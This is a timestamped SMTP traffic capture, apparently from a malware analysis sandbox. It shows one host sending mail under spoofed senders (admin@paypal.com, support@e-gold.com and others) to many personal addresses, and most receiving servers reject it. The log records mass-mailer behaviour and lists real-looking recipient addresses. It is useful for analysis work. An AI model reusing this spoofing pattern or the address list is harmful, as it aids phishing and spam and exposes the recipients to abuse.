Oct 31, 2022 12:19:45.363293886 CET	49815	25	192.168.2.5	209.51.188.92	RCPT TO: <freetype@nongnu.org>
Oct 31, 2022 12:19:45.415302038 CET	25	49812	74.125.200.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. n18-20020aa79852000000b00536fa6bbb11si3067673pfq.344 - gsmtp
Oct 31, 2022 12:19:45.574520111 CET	25	49816	142.250.150.26	192.168.2.5	220 mx.google.com ESMTP b15-20020a2e988f000000b0026fdb851000si4281050ljj.220 - gsmtp
Oct 31, 2022 12:19:45.574867964 CET	49816	25	192.168.2.5	142.250.150.26	HELO alt3.gmail-smtp-in.l.google.com
Oct 31, 2022 12:19:45.632627964 CET	25	49816	142.250.150.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:45.633080006 CET	49816	25	192.168.2.5	142.250.150.26	MAIL FROM: <jack@msn.com>
Oct 31, 2022 12:19:45.687493086 CET	25	49816	142.250.150.26	192.168.2.5	250 2.1.0 OK b15-20020a2e988f000000b0026fdb851000si4281050ljj.220 - gsmtp
Oct 31, 2022 12:19:45.687731028 CET	49816	25	192.168.2.5	142.250.150.26	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:19:45.866760015 CET	25	49815	209.51.188.92	192.168.2.5	451-You seem to be a Windows machine. Our condolences. Come back later. You are 451-greylisted for 20 minutes. See http://www.fsf.org/about/systems/greylisting 451 for more information.
Oct 31, 2022 12:19:45.919451952 CET	25	49816	142.250.150.26	192.168.2.5	250 2.1.5 OK b15-20020a2e988f000000b0026fdb851000si4281050ljj.220 - gsmtp
Oct 31, 2022 12:19:45.919698000 CET	49816	25	192.168.2.5	142.250.150.26	DATA
Oct 31, 2022 12:19:45.973903894 CET	25	49816	142.250.150.26	192.168.2.5	354 Go ahead b15-20020a2e988f000000b0026fdb851000si4281050ljj.220 - gsmtp
Oct 31, 2022 12:19:46.011240005 CET	25	49815	209.51.188.92	192.168.2.5	421 eggs.gnu.org lost input connection
Oct 31, 2022 12:19:46.154148102 CET	25	49816	142.250.150.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. b15-20020a2e988f000000b0026fdb851000si4281050ljj.220 - gsmtp
Oct 31, 2022 12:19:46.259099960 CET	25	49817	142.250.147.27	192.168.2.5	220 mx.google.com ESMTP p15-20020aa7d30f000000b0044e9ca6880bsi6358482edq.364 - gsmtp
Oct 31, 2022 12:19:46.259345055 CET	49817	25	192.168.2.5	142.250.147.27	HELO alt2.gmail-smtp-in.l.google.com
Oct 31, 2022 12:19:46.302949905 CET	25	49817	142.250.147.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:46.303358078 CET	49817	25	192.168.2.5	142.250.147.27	MAIL FROM: <jack@msn.com>
Oct 31, 2022 12:19:46.348037958 CET	25	49817	142.250.147.27	192.168.2.5	250 2.1.0 OK p15-20020aa7d30f000000b0044e9ca6880bsi6358482edq.364 - gsmtp
Oct 31, 2022 12:19:46.348285913 CET	49817	25	192.168.2.5	142.250.147.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:19:46.539664030 CET	25	49817	142.250.147.27	192.168.2.5	250 2.1.5 OK p15-20020aa7d30f000000b0044e9ca6880bsi6358482edq.364 - gsmtp
Oct 31, 2022 12:19:46.551028967 CET	49817	25	192.168.2.5	142.250.147.27	DATA
Oct 31, 2022 12:19:46.592422009 CET	25	49817	142.250.147.27	192.168.2.5	354 Go ahead p15-20020aa7d30f000000b0044e9ca6880bsi6358482edq.364 - gsmtp
Oct 31, 2022 12:19:46.705142021 CET	25	49817	142.250.147.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. p15-20020aa7d30f000000b0044e9ca6880bsi6358482edq.364 - gsmtp
Oct 31, 2022 12:19:46.810450077 CET	25	49818	74.125.140.27	192.168.2.5	220 mx.google.com ESMTP y9-20020a05600015c900b0023656ef2d93si5250865wry.657 - gsmtp
Oct 31, 2022 12:19:46.810789108 CET	49818	25	192.168.2.5	74.125.140.27	HELO gmail-smtp-in.l.google.com
Oct 31, 2022 12:19:46.847901106 CET	25	49818	74.125.140.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:46.848190069 CET	49818	25	192.168.2.5	74.125.140.27	MAIL FROM: <jack@msn.com>
Oct 31, 2022 12:19:46.885562897 CET	25	49818	74.125.140.27	192.168.2.5	250 2.1.0 OK y9-20020a05600015c900b0023656ef2d93si5250865wry.657 - gsmtp
Oct 31, 2022 12:19:46.887212038 CET	49818	25	192.168.2.5	74.125.140.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:19:47.074661970 CET	25	49818	74.125.140.27	192.168.2.5	250 2.1.5 OK y9-20020a05600015c900b0023656ef2d93si5250865wry.657 - gsmtp
Oct 31, 2022 12:19:47.074959993 CET	49818	25	192.168.2.5	74.125.140.27	DATA
Oct 31, 2022 12:19:47.109163046 CET	25	49818	74.125.140.27	192.168.2.5	354 Go ahead y9-20020a05600015c900b0023656ef2d93si5250865wry.657 - gsmtp
Oct 31, 2022 12:19:47.220350027 CET	25	49818	74.125.140.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. y9-20020a05600015c900b0023656ef2d93si5250865wry.657 - gsmtp
Oct 31, 2022 12:19:48.847172022 CET	25	49821	142.250.147.26	192.168.2.5	220 mx.google.com ESMTP sc23-20020a1709078a1700b00787b0b0a96esi8568702ejc.131 - gsmtp
Oct 31, 2022 12:19:48.847402096 CET	49821	25	192.168.2.5	142.250.147.26	HELO alt2.gmail-smtp-in.l.google.com
Oct 31, 2022 12:19:48.891477108 CET	25	49821	142.250.147.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:48.891700029 CET	49821	25	192.168.2.5	142.250.147.26	MAIL FROM: <support@rbkmoney.ru>
Oct 31, 2022 12:19:48.933378935 CET	25	49821	142.250.147.26	192.168.2.5	250 2.1.0 OK sc23-20020a1709078a1700b00787b0b0a96esi8568702ejc.131 - gsmtp
Oct 31, 2022 12:19:48.943387032 CET	49821	25	192.168.2.5	142.250.147.26	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:19:49.047734976 CET	25	49820	209.51.188.92	192.168.2.5	220 eggs.gnu.org ESMTP Exim 4.90_1 Trisquel Mon, 31 Oct 2022 07:19:48 -0400
Oct 31, 2022 12:19:49.047908068 CET	49820	25	192.168.2.5	209.51.188.92	HELO eggs.gnu.org
Oct 31, 2022 12:19:49.138010025 CET	25	49821	142.250.147.26	192.168.2.5	250 2.1.5 OK sc23-20020a1709078a1700b00787b0b0a96esi8568702ejc.131 - gsmtp
Oct 31, 2022 12:19:49.138267040 CET	49821	25	192.168.2.5	142.250.147.26	DATA
Oct 31, 2022 12:19:49.179894924 CET	25	49821	142.250.147.26	192.168.2.5	354 Go ahead sc23-20020a1709078a1700b00787b0b0a96esi8568702ejc.131 - gsmtp
Oct 31, 2022 12:19:49.183162928 CET	25	49822	198.252.153.129	192.168.2.5	220-mx1.riseup.net ESMTP (spam is not appreciated)
Oct 31, 2022 12:19:49.184741974 CET	49822	25	192.168.2.5	198.252.153.129	HELO mx1.riseup.net
Oct 31, 2022 12:19:49.193316936 CET	25	49820	209.51.188.92	192.168.2.5	250 eggs.gnu.org Hello eggs.gnu.org [102.129.143.15]
Oct 31, 2022 12:19:49.197866917 CET	49820	25	192.168.2.5	209.51.188.92	MAIL FROM: <admin@paypal.com>
Oct 31, 2022 12:19:49.342500925 CET	25	49820	209.51.188.92	192.168.2.5	250 OK
Oct 31, 2022 12:19:49.342722893 CET	49820	25	192.168.2.5	209.51.188.92	RCPT TO: <freetype-devel@nongnu.org>
Oct 31, 2022 12:19:49.358429909 CET	25	49822	198.252.153.129	192.168.2.5	250 mx1.riseup.net
Oct 31, 2022 12:19:49.358613014 CET	49822	25	192.168.2.5	198.252.153.129	MAIL FROM: <stan@gmail.com>
Oct 31, 2022 12:19:49.533272028 CET	25	49822	198.252.153.129	192.168.2.5	250 2.1.0 Ok
Oct 31, 2022 12:19:49.533480883 CET	49822	25	192.168.2.5	198.252.153.129	RCPT TO: <currojerez@riseup.net>
Oct 31, 2022 12:19:49.540477991 CET	25	49819	142.250.157.26	192.168.2.5	220 mx.google.com ESMTP u15-20020a170903124f00b001869581f7eesi9391520plh.154 - gsmtp
Oct 31, 2022 12:19:49.540738106 CET	49819	25	192.168.2.5	142.250.157.26	HELO aspmx3.googlemail.com
Oct 31, 2022 12:19:49.707288980 CET	25	49822	198.252.153.129	192.168.2.5	550 5.5.1 Protocol error
Oct 31, 2022 12:19:49.987834930 CET	25	49819	142.250.157.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:49.990145922 CET	49819	25	192.168.2.5	142.250.157.26	MAIL FROM: <jimmy@hotmail.com>
Oct 31, 2022 12:19:50.435846090 CET	25	49819	142.250.157.26	192.168.2.5	250 2.1.0 OK u15-20020a170903124f00b001869581f7eesi9391520plh.154 - gsmtp
Oct 31, 2022 12:19:50.436357021 CET	49819	25	192.168.2.5	142.250.157.26	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:19:50.941765070 CET	25	49820	209.51.188.92	192.168.2.5	451-You seem to be a Windows machine. Our condolences. Come back later. You are 451-greylisted for 20 minutes. See http://www.fsf.org/about/systems/greylisting 451 for more information.
Oct 31, 2022 12:19:50.956429958 CET	25	49821	142.250.147.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. sc23-20020a1709078a1700b00787b0b0a96esi8568702ejc.131 - gsmtp
Oct 31, 2022 12:19:50.964683056 CET	25	49819	142.250.157.26	192.168.2.5	250 2.1.5 OK u15-20020a170903124f00b001869581f7eesi9391520plh.154 - gsmtp
Oct 31, 2022 12:19:50.965001106 CET	49819	25	192.168.2.5	142.250.157.26	DATA
Oct 31, 2022 12:19:51.086805105 CET	25	49820	209.51.188.92	192.168.2.5	421 eggs.gnu.org lost input connection
Oct 31, 2022 12:19:51.409698009 CET	25	49819	142.250.157.26	192.168.2.5	354 Go ahead u15-20020a170903124f00b001869581f7eesi9391520plh.154 - gsmtp
Oct 31, 2022 12:19:51.896265984 CET	25	49823	74.125.200.26	192.168.2.5	220 mx.google.com ESMTP 135-20020a63018d000000b0046f9c09ac34si6242116pgb.585 - gsmtp
Oct 31, 2022 12:19:51.902945995 CET	49823	25	192.168.2.5	74.125.200.26	HELO alt4.gmail-smtp-in.l.google.com
Oct 31, 2022 12:19:52.092652082 CET	25	49695	85.187.148.2	192.168.2.5	220-az1-ss24.a2hosting.com ESMTP Exim 4.95 #2 Mon, 31 Oct 2022 04:19:52 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Oct 31, 2022 12:19:52.093101025 CET	49695	25	192.168.2.5	85.187.148.2	HELO gzip.org
Oct 31, 2022 12:19:52.247868061 CET	25	49695	85.187.148.2	192.168.2.5	250 az1-ss24.a2hosting.com Hello gzip.org [102.129.143.15]
Oct 31, 2022 12:19:52.248109102 CET	49695	25	192.168.2.5	85.187.148.2	MAIL FROM: <brian@msn.com>
Oct 31, 2022 12:19:52.402935982 CET	25	49695	85.187.148.2	192.168.2.5	250 OK
Oct 31, 2022 12:19:52.403150082 CET	49695	25	192.168.2.5	85.187.148.2	RCPT TO: <jloup@gzip.org>
Oct 31, 2022 12:19:52.435709000 CET	25	49823	74.125.200.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:52.436844110 CET	49823	25	192.168.2.5	74.125.200.26	MAIL FROM: <support@rbkmoney.ru>
Oct 31, 2022 12:19:52.511576891 CET	25	49819	142.250.157.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. u15-20020a170903124f00b001869581f7eesi9391520plh.154 - gsmtp
Oct 31, 2022 12:19:52.596690893 CET	25	49824	142.250.153.27	192.168.2.5	220 mx.google.com ESMTP hq13-20020a1709073f0d00b00779a07b4e90si9564682ejc.711 - gsmtp
Oct 31, 2022 12:19:52.596898079 CET	49824	25	192.168.2.5	142.250.153.27	HELO aspmx2.googlemail.com
Oct 31, 2022 12:19:52.643522978 CET	25	49824	142.250.153.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:52.643703938 CET	49824	25	192.168.2.5	142.250.153.27	MAIL FROM: <jimmy@hotmail.com>
Oct 31, 2022 12:19:52.671207905 CET	25	49824	142.250.153.27	192.168.2.5	250 2.1.0 OK hq13-20020a1709073f0d00b00779a07b4e90si9564682ejc.711 - gsmtp
Oct 31, 2022 12:19:52.671427965 CET	49824	25	192.168.2.5	142.250.153.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:19:52.874512911 CET	25	49824	142.250.153.27	192.168.2.5	250 2.1.5 OK hq13-20020a1709073f0d00b00779a07b4e90si9564682ejc.711 - gsmtp
Oct 31, 2022 12:19:52.874667883 CET	49824	25	192.168.2.5	142.250.153.27	DATA
Oct 31, 2022 12:19:52.902012110 CET	25	49824	142.250.153.27	192.168.2.5	354 Go ahead hq13-20020a1709073f0d00b00779a07b4e90si9564682ejc.711 - gsmtp
Oct 31, 2022 12:19:52.966674089 CET	25	49823	74.125.200.26	192.168.2.5	250 2.1.0 OK 135-20020a63018d000000b0046f9c09ac34si6242116pgb.585 - gsmtp
Oct 31, 2022 12:19:52.967792988 CET	49823	25	192.168.2.5	74.125.200.26	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:19:53.007128954 CET	25	49824	142.250.153.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. hq13-20020a1709073f0d00b00779a07b4e90si9564682ejc.711 - gsmtp
Oct 31, 2022 12:19:53.094388962 CET	25	49826	217.69.139.150	192.168.2.5	220 mxs.mail.ru ESMTP ready
Oct 31, 2022 12:19:53.094657898 CET	49826	25	192.168.2.5	217.69.139.150	HELO mxs.mail.ru
Oct 31, 2022 12:19:53.156656027 CET	25	49826	217.69.139.150	192.168.2.5	250 mxs.mail.ru
Oct 31, 2022 12:19:53.157062054 CET	49826	25	192.168.2.5	217.69.139.150	MAIL FROM: <Nikolai@yandex.ru>
Oct 31, 2022 12:19:53.181533098 CET	25	49827	142.250.147.27	192.168.2.5	220 mx.google.com ESMTP s7-20020aa7c547000000b0046277d2cb0csi6320518edr.470 - gsmtp
Oct 31, 2022 12:19:53.181734085 CET	49827	25	192.168.2.5	142.250.147.27	HELO alt2.aspmx.l.google.com
Oct 31, 2022 12:19:53.219105005 CET	25	49826	217.69.139.150	192.168.2.5	250 2.0.0 OK
Oct 31, 2022 12:19:53.219280958 CET	49826	25	192.168.2.5	217.69.139.150	RCPT TO: <lastguru@mail.ru>
Oct 31, 2022 12:19:53.229851007 CET	25	49827	142.250.147.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:53.230937004 CET	49827	25	192.168.2.5	142.250.147.27	MAIL FROM: <jimmy@hotmail.com>
Oct 31, 2022 12:19:53.270936966 CET	25	49827	142.250.147.27	192.168.2.5	250 2.1.0 OK s7-20020aa7c547000000b0046277d2cb0csi6320518edr.470 - gsmtp
Oct 31, 2022 12:19:53.271199942 CET	49827	25	192.168.2.5	142.250.147.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:19:53.282285929 CET	25	49826	217.69.139.150	192.168.2.5	250 Go ahead
Oct 31, 2022 12:19:53.282555103 CET	49826	25	192.168.2.5	217.69.139.150	DATA
Oct 31, 2022 12:19:53.317339897 CET	25	49825	142.250.141.27	192.168.2.5	220 mx.google.com ESMTP pc11-20020a17090b3b8b00b0020d3631f006si10191046pjb.161 - gsmtp
Oct 31, 2022 12:19:53.317629099 CET	49825	25	192.168.2.5	142.250.141.27	HELO alt4.gmail-smtp-in.l.google.com
Oct 31, 2022 12:19:53.344377995 CET	25	49826	217.69.139.150	192.168.2.5	354 Go ahead. End your data with <CR><LF>.<CR><LF>
Oct 31, 2022 12:19:53.428649902 CET	25	49827	142.250.147.27	192.168.2.5	250 2.1.5 OK s7-20020aa7c547000000b0046277d2cb0csi6320518edr.470 - gsmtp
Oct 31, 2022 12:19:53.428937912 CET	49827	25	192.168.2.5	142.250.147.27	DATA
Oct 31, 2022 12:19:53.469681978 CET	25	49827	142.250.147.27	192.168.2.5	354 Go ahead s7-20020aa7c547000000b0046277d2cb0csi6320518edr.470 - gsmtp
Oct 31, 2022 12:19:53.514688015 CET	25	49823	74.125.200.26	192.168.2.5	250 2.1.5 OK 135-20020a63018d000000b0046f9c09ac34si6242116pgb.585 - gsmtp
Oct 31, 2022 12:19:53.514895916 CET	49823	25	192.168.2.5	74.125.200.26	DATA
Oct 31, 2022 12:19:53.555448055 CET	25	49825	142.250.141.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:53.555742025 CET	49825	25	192.168.2.5	142.250.141.27	MAIL FROM: <support@e-gold.com>
Oct 31, 2022 12:19:53.578175068 CET	25	49827	142.250.147.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. s7-20020aa7c547000000b0046277d2cb0csi6320518edr.470 - gsmtp
Oct 31, 2022 12:19:53.681463003 CET	25	49828	64.233.167.27	192.168.2.5	220 mx.google.com ESMTP f5-20020a1c6a05000000b003cf54ae43a2si4314760wmc.134 - gsmtp
Oct 31, 2022 12:19:53.681675911 CET	49828	25	192.168.2.5	64.233.167.27	HELO aspmx.l.google.com
Oct 31, 2022 12:19:53.718763113 CET	25	49828	64.233.167.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:53.719017029 CET	49828	25	192.168.2.5	64.233.167.27	MAIL FROM: <jimmy@hotmail.com>
Oct 31, 2022 12:19:53.752223015 CET	25	49828	64.233.167.27	192.168.2.5	250 2.1.0 OK f5-20020a1c6a05000000b003cf54ae43a2si4314760wmc.134 - gsmtp
Oct 31, 2022 12:19:53.752671957 CET	49828	25	192.168.2.5	64.233.167.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:19:53.790210009 CET	25	49825	142.250.141.27	192.168.2.5	250 2.1.0 OK pc11-20020a17090b3b8b00b0020d3631f006si10191046pjb.161 - gsmtp
Oct 31, 2022 12:19:53.790488005 CET	49825	25	192.168.2.5	142.250.141.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:19:53.909286022 CET	25	49828	64.233.167.27	192.168.2.5	250 2.1.5 OK f5-20020a1c6a05000000b003cf54ae43a2si4314760wmc.134 - gsmtp
Oct 31, 2022 12:19:53.909462929 CET	49828	25	192.168.2.5	64.233.167.27	DATA
Oct 31, 2022 12:19:53.942514896 CET	25	49828	64.233.167.27	192.168.2.5	354 Go ahead f5-20020a1c6a05000000b003cf54ae43a2si4314760wmc.134 - gsmtp
Oct 31, 2022 12:19:53.971178055 CET	25	49826	217.69.139.150	192.168.2.5	550 spam message rejected. Please visit http://help.mail.ru/notspam-support/id?c=ou8-ahARI-2EjgpZHMmx1CdJE9Gz-iayezKSRREA00wIxGLY-WAmuWCinI9b1kvQLAAAAO8IAQAhG1IM or report details to abuse@corp.mail.ru. Error code: 6A3EEFA2ED231110590A8E84D4B1C91CD1134927B226FAB34592327B4CD30011D862C408B92660F98F9CA260D04BD65B. ID: 0000002C000108EF0C521B21.
Oct 31, 2022 12:19:54.037646055 CET	25	49825	142.250.141.27	192.168.2.5	250 2.1.5 OK pc11-20020a17090b3b8b00b0020d3631f006si10191046pjb.161 - gsmtp
Oct 31, 2022 12:19:54.038085938 CET	49825	25	192.168.2.5	142.250.141.27	DATA
Oct 31, 2022 12:19:54.044816971 CET	25	49823	74.125.200.26	192.168.2.5	354 Go ahead 135-20020a63018d000000b0046f9c09ac34si6242116pgb.585 - gsmtp
Oct 31, 2022 12:19:54.045808077 CET	25	49828	64.233.167.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. f5-20020a1c6a05000000b003cf54ae43a2si4314760wmc.134 - gsmtp
Oct 31, 2022 12:19:54.273782969 CET	25	49825	142.250.141.27	192.168.2.5	354 Go ahead pc11-20020a17090b3b8b00b0020d3631f006si10191046pjb.161 - gsmtp
Oct 31, 2022 12:19:54.983716011 CET	25	49829	74.125.200.27	192.168.2.5	220 mx.google.com ESMTP 128-20020a630086000000b0046f7882b893si8564846pga.741 - gsmtp
Oct 31, 2022 12:19:54.984066010 CET	49829	25	192.168.2.5	74.125.200.27	HELO alt1.aspmx.l.google.com
Oct 31, 2022 12:19:55.336714029 CET	25	49823	74.125.200.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. 135-20020a63018d000000b0046f9c09ac34si6242116pgb.585 - gsmtp
Oct 31, 2022 12:19:55.517333031 CET	25	49829	74.125.200.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:55.517499924 CET	49829	25	192.168.2.5	74.125.200.27	MAIL FROM: <jimmy@hotmail.com>
Oct 31, 2022 12:19:55.614970922 CET	25	49831	142.250.150.27	192.168.2.5	220 mx.google.com ESMTP k20-20020ac24f14000000b004afaa4d01e1si4139396lfr.549 - gsmtp
Oct 31, 2022 12:19:55.615746021 CET	49831	25	192.168.2.5	142.250.150.27	HELO alt3.gmail-smtp-in.l.google.com
Oct 31, 2022 12:19:55.721885920 CET	25	49831	142.250.150.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:55.722122908 CET	49831	25	192.168.2.5	142.250.150.27	MAIL FROM: <support@rbkmoney.ru>
Oct 31, 2022 12:19:55.776457071 CET	25	49831	142.250.150.27	192.168.2.5	250 2.1.0 OK k20-20020ac24f14000000b004afaa4d01e1si4139396lfr.549 - gsmtp
Oct 31, 2022 12:19:55.776638031 CET	49831	25	192.168.2.5	142.250.150.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:19:56.002907038 CET	25	49831	142.250.150.27	192.168.2.5	250 2.1.5 OK k20-20020ac24f14000000b004afaa4d01e1si4139396lfr.549 - gsmtp
Oct 31, 2022 12:19:56.003160954 CET	49831	25	192.168.2.5	142.250.150.27	DATA
Oct 31, 2022 12:19:56.046271086 CET	25	49829	74.125.200.27	192.168.2.5	250 2.1.0 OK 128-20020a630086000000b0046f7882b893si8564846pga.741 - gsmtp
Oct 31, 2022 12:19:56.046485901 CET	49829	25	192.168.2.5	74.125.200.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:19:56.058443069 CET	25	49831	142.250.150.27	192.168.2.5	354 Go ahead k20-20020ac24f14000000b004afaa4d01e1si4139396lfr.549 - gsmtp
Oct 31, 2022 12:19:56.576458931 CET	25	49825	142.250.141.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. pc11-20020a17090b3b8b00b0020d3631f006si10191046pjb.161 - gsmtp
Oct 31, 2022 12:19:56.644942999 CET	25	49829	74.125.200.27	192.168.2.5	250 2.1.5 OK 128-20020a630086000000b0046f7882b893si8564846pga.741 - gsmtp
Oct 31, 2022 12:19:56.645282984 CET	49829	25	192.168.2.5	74.125.200.27	DATA
Oct 31, 2022 12:19:56.700433969 CET	25	49832	142.250.147.27	192.168.2.5	220 mx.google.com ESMTP wt10-20020a170906ee8a00b007adcc8fb7a0si3791749ejb.399 - gsmtp
Oct 31, 2022 12:19:56.700727940 CET	49832	25	192.168.2.5	142.250.147.27	HELO alt2.gmail-smtp-in.l.google.com
Oct 31, 2022 12:19:56.747714043 CET	25	49832	142.250.147.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:56.747948885 CET	49832	25	192.168.2.5	142.250.147.27	MAIL FROM: <support@e-gold.com>
Oct 31, 2022 12:19:56.789652109 CET	25	49832	142.250.147.27	192.168.2.5	250 2.1.0 OK wt10-20020a170906ee8a00b007adcc8fb7a0si3791749ejb.399 - gsmtp
Oct 31, 2022 12:19:56.789866924 CET	49832	25	192.168.2.5	142.250.147.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:19:56.978902102 CET	25	49832	142.250.147.27	192.168.2.5	250 2.1.5 OK wt10-20020a170906ee8a00b007adcc8fb7a0si3791749ejb.399 - gsmtp
Oct 31, 2022 12:19:56.979130983 CET	49832	25	192.168.2.5	142.250.147.27	DATA
Oct 31, 2022 12:19:57.021056890 CET	25	49832	142.250.147.27	192.168.2.5	354 Go ahead wt10-20020a170906ee8a00b007adcc8fb7a0si3791749ejb.399 - gsmtp
Oct 31, 2022 12:19:57.173691034 CET	25	49829	74.125.200.27	192.168.2.5	354 Go ahead 128-20020a630086000000b0046f7882b893si8564846pga.741 - gsmtp
Oct 31, 2022 12:19:57.379142046 CET	25	49832	142.250.147.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. wt10-20020a170906ee8a00b007adcc8fb7a0si3791749ejb.399 - gsmtp
Oct 31, 2022 12:19:57.811119080 CET	25	49833	173.194.202.27	192.168.2.5	220 mx.google.com ESMTP j10-20020a170902da8a00b001781c1abee9si9760979plx.587 - gsmtp
Oct 31, 2022 12:19:57.811451912 CET	49833	25	192.168.2.5	173.194.202.27	HELO alt3.gmail-smtp-in.l.google.com
Oct 31, 2022 12:19:58.012594938 CET	25	49833	173.194.202.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:58.012866974 CET	49833	25	192.168.2.5	173.194.202.27	MAIL FROM: <support@e-gold.com>
Oct 31, 2022 12:19:58.211966038 CET	25	49833	173.194.202.27	192.168.2.5	250 2.1.0 OK j10-20020a170902da8a00b001781c1abee9si9760979plx.587 - gsmtp
Oct 31, 2022 12:19:58.212322950 CET	49833	25	192.168.2.5	173.194.202.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:19:58.422146082 CET	25	49833	173.194.202.27	192.168.2.5	250 2.1.5 OK j10-20020a170902da8a00b001781c1abee9si9760979plx.587 - gsmtp
Oct 31, 2022 12:19:58.422362089 CET	49833	25	192.168.2.5	173.194.202.27	DATA
Oct 31, 2022 12:19:58.503166914 CET	25	49829	74.125.200.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. 128-20020a630086000000b0046f7882b893si8564846pga.741 - gsmtp
Oct 31, 2022 12:19:58.621491909 CET	25	49833	173.194.202.27	192.168.2.5	354 Go ahead j10-20020a170902da8a00b001781c1abee9si9760979plx.587 - gsmtp
Oct 31, 2022 12:19:59.399873018 CET	25	49837	142.250.153.27	192.168.2.5	220 mx.google.com ESMTP z2-20020a056402274200b004542e6bd242si8243395edd.621 - gsmtp
Oct 31, 2022 12:19:59.419167042 CET	49837	25	192.168.2.5	142.250.153.27	HELO alt1.aspmx.l.google.com
Oct 31, 2022 12:19:59.449295044 CET	25	49837	142.250.153.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:59.449510098 CET	49837	25	192.168.2.5	142.250.153.27	MAIL FROM: <robert@yahoo.com>
Oct 31, 2022 12:19:59.476855993 CET	25	49837	142.250.153.27	192.168.2.5	250 2.1.0 OK z2-20020a056402274200b004542e6bd242si8243395edd.621 - gsmtp
Oct 31, 2022 12:19:59.477056026 CET	49837	25	192.168.2.5	142.250.153.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:19:59.515594006 CET	25	49834	104.47.59.138	192.168.2.5	220 DM6NAM12FT059.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Mon, 31 Oct 2022 11:19:58 +0000
Oct 31, 2022 12:19:59.532519102 CET	49834	25	192.168.2.5	104.47.59.138	HELO alumni-caltech-edu.mail.protection.outlook.com
Oct 31, 2022 12:19:59.612181902 CET	25	49835	209.51.188.92	192.168.2.5	220 eggs.gnu.org ESMTP Exim 4.90_1 Trisquel Mon, 31 Oct 2022 07:19:59 -0400
Oct 31, 2022 12:19:59.612859011 CET	25	49836	209.51.188.92	192.168.2.5	220 eggs.gnu.org ESMTP Exim 4.90_1 Trisquel Mon, 31 Oct 2022 07:19:59 -0400
Oct 31, 2022 12:19:59.622004986 CET	25	49837	142.250.153.27	192.168.2.5	250 2.1.5 OK z2-20020a056402274200b004542e6bd242si8243395edd.621 - gsmtp
Oct 31, 2022 12:19:59.638192892 CET	49835	25	192.168.2.5	209.51.188.92	HELO eggs.gnu.org
Oct 31, 2022 12:19:59.638279915 CET	49836	25	192.168.2.5	209.51.188.92	HELO eggs.gnu.org
Oct 31, 2022 12:19:59.638335943 CET	49837	25	192.168.2.5	142.250.153.27	DATA
Oct 31, 2022 12:19:59.665829897 CET	25	49837	142.250.153.27	192.168.2.5	354 Go ahead z2-20020a056402274200b004542e6bd242si8243395edd.621 - gsmtp
Oct 31, 2022 12:19:59.667543888 CET	25	49834	104.47.59.138	192.168.2.5	250 DM6NAM12FT059.mail.protection.outlook.com Hello [102.129.143.15]
Oct 31, 2022 12:19:59.677190065 CET	49834	25	192.168.2.5	104.47.59.138	MAIL FROM: <julie@yahoo.com>
Oct 31, 2022 12:19:59.751841068 CET	25	49837	142.250.153.27	192.168.2.5	550-5.7.26 Unauthenticated email from yahoo.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of yahoo.com domain 550-5.7.26 if this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. z2-20020a056402274200b004542e6bd242si8243395edd.621 - gsmtp
